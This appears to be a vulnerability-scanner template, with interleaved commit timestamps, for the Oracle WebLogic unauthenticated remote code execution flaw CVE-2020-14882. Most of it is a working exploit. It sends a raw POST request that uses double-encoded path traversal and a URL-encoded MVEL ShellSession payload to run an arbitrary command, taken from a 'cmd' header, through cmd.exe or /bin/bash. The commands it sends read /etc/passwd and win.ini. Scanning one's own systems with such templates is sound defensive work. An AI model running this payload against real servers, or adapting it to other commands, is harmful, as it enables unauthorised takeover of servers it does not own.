2021-01-02 04:56:15 +00:00
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id: CVE-2020-14882
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2020-11-02 07:23:12 +00:00
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info:
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name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
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author: dwisiswant0
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severity: critical
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2021-02-05 19:44:41 +00:00
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reference: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
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2020-11-02 07:23:12 +00:00
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description: |
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Vulnerability in the Oracle WebLogic Server
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product of Oracle Fusion Middleware (component: Console).
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Supported versions that are affected are 10.3.6.0.0,
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12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
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Easily exploitable vulnerability allows unauthenticated
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attacker with network access via HTTP to compromise the server.
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Successful attacks of this vulnerability can result in takeover.
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2021-02-05 19:44:41 +00:00
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tags: cve,cve2020,oracle,rce,weblogic
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2020-11-02 07:23:12 +00:00
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# References:
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# - https://twitter.com/jas502n/status/1321416053050667009
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# - https://youtu.be/JFVDOIL0YtA
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# - https://github.com/jas502n/CVE-2020-14882#eg
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requests:
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- payloads:
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exec:
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- "type C:\\Windows\\win.ini" # Windows
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- "cat /etc/passwd" # *nix
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raw:
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- |
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POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
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Host: {{Hostname}}
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2020-11-21 06:55:49 +00:00
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cmd: §exec§
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2020-11-02 07:23:12 +00:00
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Connection: close
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Content-Type: application/x-www-form-urlencoded; charset=utf-8
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_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:[x*]:0:0:"
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- "\\[(font|extension|file)s\\]"
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condition: or
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part: body
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- type: status
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status:
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- 200
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